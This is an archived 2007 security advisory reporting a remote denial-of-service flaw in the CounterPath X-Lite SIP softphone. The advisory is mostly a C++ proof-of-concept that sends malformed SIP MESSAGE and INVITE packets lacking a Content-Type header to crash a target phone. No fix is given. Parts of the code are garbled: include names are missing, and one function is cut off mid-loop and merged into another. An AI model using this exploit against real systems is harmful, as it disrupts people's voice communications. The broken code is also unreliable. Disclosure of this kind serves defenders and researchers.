AOH :: HP Unsorted C :: TB12037.HTM

CounterPath X-Lite SIP phone Remote Denial of Service vulnerability



CounterPath X-Lite SIP phone Remote Denial of Service vulnerability
CounterPath X-Lite SIP phone Remote Denial of Service vulnerability



Title
====CounterPath X-Lite SIP phone Remote Denial of Service vulnerability

Date
===10 August 2007

Affected Software
================X-Lite versions 3.x (tested on 3.0 34025)
Maybe eyeBeam also ;)

Overview
=======X-Lite by CounterPath Solutions, Inc. is a free and wild used SIP based softphone. More information about X-Lite 

can be found here: www.counterpath.com 
A message validation check flaw in X-Lite SIP phone implementation may allow a remote attacker to crash the phone 

causing denial of service.  

Vulnerability Description
====================The vulnerability occurs as a result of how the SIP client component handles an incorrectly sip packet. Method of 

INVITE or MESSAGE will be ok. MESSAGE is a sip method for Instant Messaging. 
After X-Lite receive a malformed packet without "Content-Type" field, we call "Missing Content-Type Vulnerability", 

it will be crash.

Solution
=======Not really.

Credit
=====This vulnerability was discovered by Zwell. http://www.nosec.org 

PoC
==/**********main.cpp***********/
#include 
#include 
using namespace std;   

#ifdef WIN32
#include 
#pragma comment(lib, "ws2_32.lib")
#define close closesocket
#define write(a,b,c) send(a, b, c, 0)
#define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)
#define read(a,b,c) recv(a, b, c, 0)
#define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)
#else
#include 
#include 
#include 
#include 
#include 
#define closesocket close
#define SOCKET int
#define DWORD unsigned long
#endif

char *craft_pkt[] {
	"MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"
	"Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"
	"From: [FROMUSER] ;tag=[TAG]\r\n"
	"To: \r\n"
	"Call-ID: [CALLID]@[DOMAIN]\r\n"
	"CSeq: [CSEQ] MESSAGE\r\n"
	"Contact: \r\n"
	"Content-Length: 0\r\n\r\n",

	"INVITE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"
	"Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"
	"To: \r\n"
	"From: [FROMUSER] ;tag=[TAG]\r\n"
	"Call-ID: [CALLID]@[DOMAIN]\r\n"
	"CSeq: [CSEQ] INVITE\r\n"
	"Contact: \r\n"
	"Content-Length: 0\r\n\r\n",
};

void socket_init()
{
#ifdef WIN32
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2,0), &wsaData);
#endif
}

unsigned long resolv(const char *host)
{
	struct hostent             *hp;
	unsigned long              host_ip;

	host_ip = inet_addr(host);
	if( host_ip == INADDR_NONE )
	{
		hp = gethostbyname(host);
		if(!hp)
		{
			printf("\nError: Unable to resolve hostname (%s)\n",host);
			exit(1);
		}
		else
			host_ip = *(u_long*)hp->h_addr ;
	}

	return(host_ip);
}

SOCKET udpsocket() 
{
	/* network */
	SOCKET sockfd;
	struct sockaddr_in laddr, raddr;

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);
	if (sockfd == -1)
		goto error;

	memset((char *) &laddr, 0, sizeof(laddr));
	laddr.sin_family = AF_INET;
	laddr.sin_addr.s_addr = htonl(INADDR_ANY);
	if (bind(sockfd, (struct sockaddr *) &laddr, sizeof(laddr)) == -1)
		goto error;

	return sockfd;

error:
#ifdef WIN32
	printf("Error:%d\n", GetLastError());
#endif
	return 0;
}


string &replace_all(string &str,const string& old_value,const string& new_value)  
{  
	while(true)   
	{  
		string::size_type   pos(0);  
		if(   (pos=str.find(old_value))!=string::npos)  
			str.replace(pos,old_value.length(),new_value);  
		else   break;  
	}  
	return   str;  
}   

string &replace_with_rand(string &str, char *value, int len)
{
	char *strspace = "0123456789";
	char randstr[100];
	for(int i=0; i"www.nosec.org"); 
	replace_all(packet, "[FROMUSER]", "siprint");
	replace_with_rand(packet, "[CSEQ]", 9);
	replace_with_rand(packet, "[CALLID]", 9);
	replace_with_rand(packet, "[TAG]", 9);
	replace_with_rand(packet, "[BRANCH]", 9);
	return packet;
}

int main(int argc, char **argv)
{
	char *host;
	int port;
	char *localip;
	struct sockaddr_in sockaddr;
	struct sockaddr_in raddr;
	int sockaddrlen = sizeof(sockaddr);
	SOCKET s;

	printf("X-Lite Missing Content-Type DOS PoC\n");

	if(argc != 4)
	{
		printf("usage : %s   \n", argv[0]);
		exit(-1);
	}

	host = argv[1];
	port = atoi(argv[2]);
	localip = argv[3];

	socket_init();
	s = udpsocket();
	if(s == 0)
	{
		printf("Create udp socket error!\n", host, port);
		return 1;
	}
	memset(&sockaddr, 0, sockaddrlen);
	getsockname(s, (struct sockaddr *) &sockaddr, (int *) &sockaddrlen);
=09
	raddr.sin_family = AF_INET;
	raddr.sin_addr.S_un.S_addr = resolv(host);
	raddr.sin_port = htons(port);
	for(int i=0; i<20; i++)
	{
		char portstr[6] = {'\0'};
		string packet = build_packet(craft_pkt[i%2], localip, host);
		sprintf(portstr, "%d", ntohs(sockaddr.sin_port));
		replace_all(packet, "[LOCALPORT]", portstr);
		//printf("===========\n%s\n===========\n", packet.c_str());
		writeto(s, packet.c_str(), packet.length(), (struct sockaddr*)&raddr, sockaddrlen);
		Sleep(100);
	}

	return 0;
}

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.